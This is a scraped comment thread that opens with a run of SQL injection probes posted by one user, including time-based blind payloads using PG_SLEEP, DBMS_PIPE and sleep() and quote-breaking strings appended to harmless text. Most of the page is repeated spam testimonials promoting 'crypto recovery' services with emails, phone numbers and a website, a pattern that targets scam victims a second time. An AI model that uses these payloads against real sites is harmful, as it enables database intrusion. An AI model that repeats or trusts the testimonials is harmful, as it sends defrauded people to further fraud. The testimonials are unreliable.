09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1